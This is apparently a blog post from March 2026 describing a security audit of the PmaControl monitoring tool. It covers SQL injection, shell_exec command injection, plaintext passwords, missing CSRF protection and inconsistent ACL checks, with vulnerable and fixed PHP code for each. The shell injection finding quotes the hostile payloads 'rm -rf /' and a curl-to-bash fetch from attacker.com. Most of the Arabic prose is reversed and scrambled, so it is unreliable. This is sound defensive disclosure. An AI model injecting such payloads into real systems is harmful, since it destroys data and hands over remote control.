

قيرط ةطيرخ PmaControl: ينمأل قيقدتل زيزعتل

Aurélien LEQUOY · 10 سرام 2026

PMACONTROL SECURITY SQL-INJECTION AUDIT HARDENING



كب ةصاخلل ةيحمربلل تاميلعتلل ةعجارمب موقت اذامل

يل لوصولو قح هيدل جاتنإلل ةيتحتلل ةينبلا MariaDB / MySQL لىل فرشي PmaControl مجاهم لل يسير فده نإل لاصلال دامتعا تانايبو SSH حيتافمو تانويكتل او سيسي اقملا فعضلا طاقن ديدحتل نكلو ، يقويوسر ريرقت رشنل سيل ، أي لخاد أي نمأ أقي قدت اني رجأ دقل سفنل ناضرلا نود جئاتنلل ةلاقملا هذه ليصافت . احيحصتل ةيولولأا اعطاعو ةيقي قحلا

ةيحه نمل

ةعجارملا تطغ:

- اهجامنو PHP مكحت تادحول يوديلا ليلحتلا: ةتباتلل ةيحمربلل تاميلعتلل ةعجارم اهضرع قرطو
- API ةيهاه نل طاقنو جدامنلا لىل ن قحلا تارابتخا: يكي ماني دل ليلحتلا
- رارسأل او ، تافلما ماطن تانوذأو ، نيويكتل تافلما: نيويكتلا
- تانايبل قفدتو ، تانويكلا لزعو ، موجهل حطس: ةينبلا

يكي مانيدل مالع تسال انب ربع SQL نقح : 1 ةطح الامل

ةرح : ةروطخ ال

ةرشابم مدختس ملام تاملعم طبر قيرط نع SQL تابلط ءاشن اب مكحتل تادحو نم ديدعل موقت

```
// Pattern trouvé dans plusieurs controllers
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'";
$results = $db->query($sql);
```

ليدعت وأ، تانايبل اارختسا مجاهم لنكمي. SQL يكي سالك ل نقحل ل ةضرع طمنل اذه
LOAD_FILE() وأ INTO OUTFILE ربع ماظنل رماوأ ذيفنت، تالاحل أوسأ يف وأ، تالاحل

اهديحت متي تالاحل

ي لامل بقارم ال	ةياهنل ةطقن	ةفيعصل دادع ال
مداخل مكحت ةدحو	ثحب/مداوخل/	ثحب
TagController	حشرم / تامالعل/	مسال
لجسل مكحت ةدحو	ضرع/تالاحل/	مداخل فرعم، date_range
رلورتنوكيرتم	مالع تسال/سي ياقم/	metric_name

جالعل

(ةدعمل تانايبل) تاملعمل تاذ تامالع تسال ايل لي دب تلاب مق

```
// Avant (vulnérable)
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $search . "%'";

// Après (sécurisé)
$sql = "SELECT * FROM servers WHERE name LIKE ?";
$results = $db->query($sql, ['%' . $search . '%']);
```

تمت دقف :ةخيبرات لب ةينقت تسيل ةلكشمل، ال صأ ةدعمل تانايبل Glial لمع راطل معددي
ةسراممل هذهل يجهنملا دامتع ال لب ق دوكل ةباتك

ةيطاي تالاحل مكحتل ةدحو يف ةفدصل نقح : 2 ةطح الامل

شرح: شروط الخلل

shell_exec() : إلى عرض أخطاء مداخل مستخدم الخلل الذي يرمز به طيات الخلل م كح التل ة ح و موقت

```
// Pattern trouvé dans BackupController
$output = shell_exec("mysqldump -h " . $host . " -u " . $user . " " . $database);
```

ذيفنت متيسرف ، \$(curl attacker.com/shell.sh | bash) وأ rm -rf / ؛ يلع يوتحي \$host ناك إذا
ة لملعم تازايات ماب رمال PHP.

طيات الخلل خسن لل ج ذومن إلى لوصول قح ه يدل يذلل مجاهم لل نكمي . قيقد التل ة رغث رطأ يه هه
PmaControl مداخل لملك shell يلع لوصول.

العمل

1. تاءانثتسا نودب — مداخل مستملا تاداعإ عم shell_exec() ة فاك فذح
2. أيروف فذحل نكي مل إذا يل لاقنتنا ءارجك escapeshellarg() مداخلتسا
3. ة يلصل ال PHP تابتكم ب ة فذصل تاءاعذتسا لذبتسا ، ة ياهنل ي في (PDO لـ mysqldump ، phpseclib لـ SSH)

```
// Mesure transitoire (pas suffisante seule)
$output = shell_exec("mysqldump -h " . escapeshellarg($host) . " ...");

// Solution définitive : pas de shell du tout
$pdo = new PDO("mysql:host=$host;dbname=$database", $user, $pass);
// ... backup via PDO et SELECT INTO OUTFILE ou équivalent
```

نيوكتل تافل م في رورملا تاملك حسم 3: ة حيتنل

ة يلعل: شروط الخلل

في فدا صرن في فارشلل ة عضال تانايبل داوقب لاصلتال دامتعا تانايبل نيزخت متي
PHP نيوكتل تافل م:

```
// config/database.php
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => 'P@ssw0rd123!', // En clair
```

```
],  
];
```

لمتحملا نم .تافلماظن لىلإ ةءارق لىل لوصول قح هيدل مدختسم يأل ةحاتم تافلما هذ
Git ـ نيمزتلم اونوكي نأ أضيأ

جالعلا

1. ةئيبلا ريغت نم قتشم حاتم مادختساب **ءطشنلا ريغ رارسأل ريغشت**
2. ةبإحسلا رشنلا تايلمعل (HashiCorp Vault, AWS Secrets Manager) **رارسل ريغ** مدختسا
3. تافلما نم ءالدب **ةئيبلا تاريغتم** يف رورملا تاملك نيزختب مق ،ىندأ دحك

```
// Après remédiation  
$config['servers'] = [  
  'prod-master' => [  
    'host' => '10.0.1.10',  
    'user' => 'pmacontrol',  
    'password' => getenv('PMAC_PROD_MASTER_PASS'),  
  ],  
];
```

CSRF ةيامح بايغ :4 ةجيتنلا

ةيلاع :ءروطخل

ءاشنإ مجاهم لىل نكمي .(ءقاوملا ربع بلط ريوزت) CSRF زمري لىل ع PmaControl جذامن يوتحت ال
لوخدلا ليحستب ماق يذلا مدختسملا نع ةباين PmaControl جذومن لسرت ةراض بيو ةحفص

موجهلا ويرانيس:

1. بيوبت ةمالع يف PmaControl لوؤسملا لوخد ليحست مت
2. ىرخأ بيوبت ةمالع يف ةراض بيو ةحفص ةرايزب موقى
3. لسري يئررم ريغ جذومن لىل ةحفصلا يوتحت `POST /servers/delete/42`
4. مدخال فذح متي - PmaControl ةسلجلا طابترا فيرعت فلم ةحفصتلم لسري

جالعلا

POST جذامن عيجم لىل ع **CSRF** زومر ذي فنتب مق

```
// Génération du token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Dans le formulaire
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">

// Validation côté serveur
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    http_response_code(403);
    die('CSRF token mismatch');
}
```

قرفتم لوصول في مكحت ل: 5 ةجيت ل

ةطس وتم: ةروط ل

مكحت ةدحو لك موقت. ةيزكرم تسيل (لوصول في مكحت ل ةمئاق) ACL نم ققحت ل تاي لمع ن إ: قس تم ريغ لك شب، اهب ةصاخ ل تانوذأل نم ققحت ل تاي لمع ذي فن تب:

```
// Controller A : vérifie les permissions
if (!$user->hasPermission('server.delete')) {
    redirect('/unauthorized');
}

// Controller B : ne vérifie rien
public function deleteServer($id) {
    $this->ServerModel->delete($id); // Pas de vérification ACL
}
```

ج الع ل

ءارج إ ل في مكحت ةدحو لك لبق اءذي فن تم تي تي ل ةطي سول ج مارب ل في ACL مئاق ةزكرم:

```
// Middleware centralisé
class AclMiddleware {
    public function before($controller, $action) {
        $permission = $controller . '.' . $action;
        if (!$this->user->hasPermission($permission)) {
            throw new ForbiddenException();
        }
    }
}
```

```
}  
}  
}
```

جالعلا قيرط ةطيرخ

(ةيروف) ةحرج – 1 ةيولوالا

لمعلا	ردقملا دهجلا	ةلاحلا
مكحتلا تادحو ةفاك يف تاملعم تاذ تامالع سرام	مايأ 3-5	مدقتلا ديق
مدختسملا تالخدإب shell_exec ةلازا	مايأ 1-2	مدقتلا ديق
اهلاكشأ عي مجب CSRF زومر	مايأ 2-3	ططخم
نيوكتلا يف رارسأل ريفشت	مايأ 1-2	ططخم

(أموي 30 لالخ) ةيلاع – 2 ةيولوالا

لمعلا	ردقملا دهجلا	ةلاحلا
ةلصفنم ةيلعم يف يطايحتحالخ سننل SSH/ل امع لزع	مايأ 5-8	ططخم
تافللمل ماظن تانودأ قيقدت	دحاو موي	ططخم
ةقداصملاو API ىلع لدعلملا ديدحت	مايأ 2-3	ططخم

(أموي 90 لالخ) ةطسوتم - 3 ةيولوالا

لمعلا	ردقملا دهجلا	ةلاحلا
ةطيسولاج ماربلا يف ACL مئاوق ةيزكرم	مايأ 3-5	ططخم
مكحتلا طامأن ديدحت	مايأ 5-8	ططخم
نامأل سؤر (CSP, HSTS, X-Frame-Options)	دحاو موي	ططخم
يزكرم ينمأ ليجست	مايأ 2-3	ططخم

قيقدتلا اذه هي طغي الام

- ءارجإل طي طختلا مت - (jQuery, Bootstrap) ثلاثل فرطلا تاي عبت في ةني منمأل تارغللا لصفنم قي قدت
- ةيحتلا ةني لل ةيلوؤسم هذ - (TLS، ةيامل رادج) ةكبشلا فعض طاقن
- ينفل قاطنلا جراخ - يلايحتالا ديصتلاو ةيعامتجالا ةسندنهلا

ةصالخلا

ةني مهأل غلاب أفده جاتنإلا دامتعا تاناي بىلى لإ لوصولا هكيمي يتيلا ةبقارملا ةادأ دعت أنوي دلمحت، يوضع لكشب تمن يتيلا ردصملا ةحوتفم عيراشملا نم ديغللا لثم، PmaControl ةيخي رات ةني ماً

ةطراخو ةني منمأل تارغللا قي ثوت لصفن نحن. دمعتم راخي يه بويعللا هذ نأشب ةيفافشلا نإ نم آدوكل نأب رهاطتلا نم آل دب أنل عةل لاعملا قيرط

حطس نم للقي PmaControl نم رادصإ لك. أي عقاو ألودج P3 و P2 عبت ي. مدقتلا ديقي P1 تاحالصإ موجهلا